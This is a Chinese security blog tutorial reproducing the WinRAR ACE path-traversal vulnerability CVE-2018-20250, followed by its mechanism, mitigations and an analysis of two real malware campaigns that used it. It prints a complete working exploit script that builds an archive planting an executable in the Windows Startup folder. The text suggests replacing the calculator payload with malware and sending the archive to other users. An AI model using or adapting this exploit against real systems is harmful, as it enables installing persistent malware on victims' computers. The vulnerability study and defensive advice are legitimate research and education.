三十六，WinRAR漏洞复现CVE-2018-20250及恶意软件劫持

一.WinRAR漏洞复现

1.复现

WinRAR漏洞（CVE-2018-20250）是Check Point团队于2019年2月爆出的严重安全漏洞，该漏洞已存在于WinRAR中19年，由于WinRAR使用了一个陈旧的UNACEV2.dll动态链接库造成的。当我们解压任意ACE文件时，由于没有对文件名进行充分过滤，导致其可实现目录穿越，将恶意软件写入操作系统启动Startup文件夹，并且电脑重启时会自动运行该程序，从而造成恶意软件劫持。通过该漏洞可以获得受害者计算机的控制。安全专家表示全球有超过5亿用户受到WinRAR漏洞影响。

下面我们先来复现该漏洞。该漏洞会对多种压缩软件造成影响，版本如下：

• WinRAR < 5.70 Beta 1
• Bandizip < = 6.2.0.0
• 好压(2345压缩) < = 5.9.8.10907
• 360压缩 < = 4.0.0.1170

第一步，安装WinRAR 5.6.1的版本，后续5.7升级弥补了该漏洞。作者的电脑是Win10操作系统。

安装之后可以看到本地存在的UNACEV2.DLL动态链接库，它就是被利用的入口。

第二步，从github中下载漏洞利用程序，如下图所示。

hello.txt和world.txt是需要压缩的文件

calc.exe是计算器，可以替换成恶意软件，它会被定向植入系统启动目录

exp.py是运行的Python代码，它会将hello.txt和world.txt压缩，并隐藏恶意软件

acefile.py是利用UNACEV2.DLL漏洞的代码，共4000多行

下载地址：https://github.com/backlion/CVE-2018-20250

我们尝试打开exp.py文件，代码如下，其中恶意软件为“calc.exe”、压缩包名称为“test.rar”、需要压缩的文件为“hello.txt”和“world.txt”、隐藏的路径为Windows系统开机启动的目录，并命名为“hi.exe”。读者也可以尝试修改名称，自定义需要压缩的文件及恶意软件。

#!/usr/bin/env python3

import os
import re
import zlib
import binascii

# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]

class AceCRC32:
    def __init__(self, buf=b''):
        self.__state = 0
        if len(buf) > 0:
            self += buf

    def __iadd__(self, buf):
        self.__state = zlib.crc32(buf, self.__state)
        return self

    def __eq__(self, other):
        return self.sum == other

    def __format__(self, format_spec):
        return self.sum.__format__(format_spec)

    def __str__(self):
        return "0x%08x" % self.sum

    @property
    def sum(self):
        return self.__state ^ 0xFFFFFFFF

def ace_crc32(buf):
    return AceCRC32(buf).sum

def get_ace_crc32(filename):
    with open(filename, 'rb') as f:
        return ace_crc32(f.read())

def get_right_hdr_crc(filename):
    # This command may be different, it depends on the your Python3 environment.
    p = os.popen('py -3 acefile.py --headers %s'%(filename))
    res = p.read()
    pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
    result = pattern.findall(res)
    right_hdr_crc = result[0].upper()
    return hex2raw4(right_hdr_crc)

def modify_hdr_crc(shellcode, filename):
    hdr_crc_raw = get_right_hdr_crc(filename)
    shellcode_new = shellcode.replace("6789", hdr_crc_raw)
    return shellcode_new

def hex2raw4(hex_value):
    while len(hex_value) < 4:
        hex_value = '0' + hex_value
    return hex_value[2:] + hex_value[:2]

def hex2raw8(hex_value):
    while len(hex_value) < 8:
        hex_value = '0' + hex_value
    return hex_value[6:] + hex_value[4:6] + hex_value[2:4] + hex_value[:2]

def get_file_content(filename):
    with open(filename, 'rb') as f:
        return str(binascii.hexlify(f.read()))[2:-1] # [2:-1] to remote b'...'

def make_shellcode(filename, target_filename):
    if target_filename == "":
        target_filename = filename
    hdr_crc_raw = "6789"
    hdr_size_raw = hex2raw4(str(hex(len(target_filename)+31))[2:])
    packsize_raw = hex2raw8(str(hex(os.path.getsize(filename)))[2:])
    origsize_raw = packsize_raw
    crc32_raw = hex2raw8(str(hex(get_ace_crc32(filename)))[2:])
    filename_len_raw = hex2raw4(str(hex(len(target_filename)))[2:])
    filename_raw = "".join("{:x}".format(ord(c)) for c in target_filename)
    content_raw = get_file_content(filename)
    shellcode = hdr_crc_raw + hdr_size_raw + "010180" + packsize_raw \
              + origsize_raw + "63B0554E20000000" + crc32_raw + "00030A005445"\
              + filename_len_raw + filename_raw + "01020304050607080910A1A2A3A4A5A6A7A8A9"
    return shellcode

def build_file(shellcode, filename):
    with open(filename, "wb") as f:
        f.write(binascii.a2b_hex(shellcode.upper()))

def build_file_add(shellcode, filename):
    with open(filename, "ab+") as f:
        f.write(binascii.a2b_hex(shellcode.upper()))

def build_file_once(filename, target_filename=""):
    shellcode = make_shellcode(filename, target_filename)
    build_file_add(shellcode, rar_filename)
    shellcode_new = modify_hdr_crc(shellcode, rar_filename)
    content_raw = get_file_content(rar_filename).upper()
    build_file(content_raw.replace(shellcode.upper(),
                                   shellcode_new.upper()).replace("01020304050607080910A1A2A3A4A5A6A7A8A9",
                                                                  get_file_content(filename)), rar_filename)

if __name__ == '__main__':
    print("[*] Start to generate the archive file %s..."%(rar_filename))

    shellcode_head = "6B2831000000902A2A4143452A2A141402001018564E974FF6AA00000000162A554E524547495354455245442056455253494F4E2A"
    build_file(shellcode_head, rar_filename)

    for i in range(len(filename_list)):
        build_file_once(filename_list[i])

    build_file_once(evil_filename, target_filename)

    print("[+] Evil archive file %s generated successfully !"%(rar_filename))

第三步，打开Python运行exp.py代码，将自动生成test.rar压缩包。
注意，如果未安装Python或相关包，需要进行安装。同时不能双击exp.py，需要Python来运行代码。

第四步，此时在当前文件夹生成了test.rar文件，将该压缩包发送给其他用户，如果目标电脑存在WinRAR漏洞，则会造成影响。

注意：QQ和Win10防火墙已经能识别出该CVE漏洞号，如下图所示。

第五步，当目标用户在桌面解压该文件夹，则会在电脑启动目录放入我们的木马文件，命名为“hi.exe”。

Win10路径：
C:\Users\yxz\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

这里演示的是计算器，而如果植入恶意软件，则每次目标开机运行就会自启动该恶意代码。

注意：当目标用户解压我们文件时，其解压目录必须是 C:/users/当前用户/目录下，也就是必须是在下面这些目录中解压的该文件。压缩包中隐藏了深层次的路径，xp系统自启动路径可能不同。

2.原理及预防

那么，该漏洞的基本原理是什么呢？

由于该漏洞会对多种压缩软件造成影响，并且该漏洞主要是由于WinRAR解压ACE压缩包采用的动态链接库UNACEV2.dll造成的。其原理是：UNACEV2.dll在处理filename时只校验了CRC，黑客可以通过更改压缩包的CRC校验码来修改解压时的filename并触发这个Path Traversal漏洞。

但是WinRAR本身检测了filename，有一些限制并且普通用户解压RAR文件时不能将我们恶意的Payload解压到需要System权限的文件夹。当用户将文件下载到默认的C:\Users\Administrator\Downloads目录下时，通过构造目录：

C:\C:C:../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\hi.exe

该目录经过WinRAR的CleanPath函数处理会变成：

C:../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\hi.exe

其中C:会被转换成当前路径，如果用WinRAR打开，那么当前路径就是C:\Program Files\WinRAR，要是在文件夹中右键解压到xxx，那么当前路径就是压缩包所在的路径。当用户在文件夹中直接右键解压到xxx时，我们恶意的payload解压地址就会变成：

C:\Users\Administrator\Downloads../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\hi.exe

这就是当前用户的启动项，从而这样完成了从一个Path Traversal到任意命令执行的过程。

在WinRAR内一直点击进入目录可看到hi.exe的具体信息，如下图所示，可以看到其是ACE压缩文件。

当受害者通过WinRAR直接解压该文件便会触发该漏洞，从而释放内置的恶意程序（hi.exe）到用户windows系统的启动目录内，使得下次重启系统的时候该恶意程序能自动启动运行。

Win10开机自启动如下图所示：

Win7开机自启动如下图所示：

那么，又如何预防该漏洞呢？

当该漏洞爆出之后，很多厂商都升级了压缩软件的版本，不再支持ACE存档格式，比如WinRAR 5.70 Beta 1，并且删除了UNACEV2.dll动态链接库。据Check Point研究人员所述，WinRAR的UNACEV2.dll代码库自2005年以来就一直没有被主动使用过。安全建议如下：

UNACEV2.dll漏洞不仅限于WinRAR，包括WinRAR在内的多款压缩解压缩工具均存在风险，建议用户将这些软件全部升级到最新版本，推荐使用安全电脑管家的软件管理来完成。

直接删除WinRAR安装目录下的UNACEV2.DLL文件，但会造成ACE格式的压缩文件无法使用（不过影响很小，拥有ACE格式专利的商业公司已倒闭十多年了，你完全可以抛弃ACE压缩格式）。

切勿随意轻信、打开来历、用途不明的文件。 同时也别担心，QQ传输、Win10自带防火墙都能识别出该漏洞。

二.恶意软件劫持原理

下面作者参考FreeBuf网站腾讯电脑管家的文章，讲述该恶意软件劫持的原理。

强推：WinRAR（CVE-2018-20250）漏洞利用再升级 减少重启系统的依赖 - freebuf腾讯电脑管家

WinRAR漏洞的利用流程图如下所示，恶意ACE文件被受害者解压之后，会释放恶意木马至指定目录（系统自启动文件夹），受害者重启电脑会执行恶意木马。

该漏洞被深入利用的案例如下：

WinRAR高危漏洞被用来传播Lime-RAT远程控制木马

WinRAR（ace格式解压）漏洞备受青睐攻击样本层出不穷

攻击手段升级之后的原理如下图所示：

WinRAR恶意攻击升级案例1

WinRAR漏洞利用结合恶意lnk躲避杀毒软件查杀，同时增加恶意木马执行的概率。

样本文件名为“mirotvorec.rar”，打开压缩包如下图所示：

解压mirotvorec.rar后，发现该压缩包同时还释放了两个lnk文件和一个exe文件。

文件1：用户配置目录

%userprofile%\win.exe

文件2：开始菜单启动目录

c:\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\Goggle Chrome.lnk

文件3：桌面快捷方式

c:\desktop\GoggleChrome.lnk

对应的二进制如下图所示：

文件1为最终要执行的恶意木马，被释放到了%userprofile%（用户目录）下；文件2和文件3内容完全相同，均伪装为Chrome浏览器的快捷启动方式（为区分攻击者拼写错误，把Google写成了Goggle），但该lnk实际上指向的启动文件为%userprofile%\win.exe，即文件1。

注意，如果在用户目录直接执行win.exe，还需要输入正确的密码，才会继续执行。密码是上图快捷方式win.exe的执行参数。如果双击goggle chrome.lnk，密码参数会自动执行，不会出现下图提交密码的对话框。

本次攻击与以往利用WinRAR漏洞的攻击方式存在以下差别：

为了躲避杀软查杀，最终执行的恶意木马没有释放到系统自启动目录，而是释放到用户目录下。同时，为了确保恶意木马能够在重启后顺利执行，将伪装为Chrome浏览器快捷启动方式的恶意lnk释放到了系统自启动目录，该lnk实际上为恶意木马的快捷启动方式。

为了提高恶意木马被执行的概率，同时弥补WinRAR漏洞利用需要重启的缺陷，攻击者还将恶意lnk释放到了桌面，诱导受害者手动点击运行。

为了躲避杀毒软件查杀，恶意木马需要输入正确的密码方可执行（这就避免了杀毒厂商的自动分析工具发现异常）。

用户重启系统或者双击运行恶意lnk，均可执行恶意木马。

WinRAR恶意攻击升级案例2

恶意bat文件（__Denuncia_Activa_CL.PDF.bat ）下载并解压ACE文件，同时强制系统重启，确保恶意木马执行。攻击样本及具体分析如下。

notepad++打开bat文件，文本内容为乱码，发现右下脚提示该文件使用了UCS-2 Little-endian编码。

重新使用16进制编辑器打开bat文件，即可看到真实的文件内容。执行bat文件，首先生成一个随机数，用于重命名即将下载的恶意rar文件。

设置下载目录、文件名等，并启用powershell命令从硬编码的url下载恶意rar文件。

使用WinRAR解压，将恶意木马释放到系统启动项目录，执行“shutdown -r”命令强制重启系统，确保恶意木马能在第一时间启动。

三.总结

写到这里，这篇基础性文章就此结束，最后希望这篇基础性文章对您有所帮助。突然发现，作者已经写了400多篇文章了，非常值得纪念，今后也希望帮到更多的读者。也觉得自己的技术好浅，要学的知识好多，读博真心不容易，之前很少遇到睡不着觉，这学期很多次惊醒，希望自己这四年能不断成长，身体和心理都健康！一定要好好的，有时候只是看着开心阳光，其背后的苦和痛都要去炼化，祝福所有博士战友们和。共勉~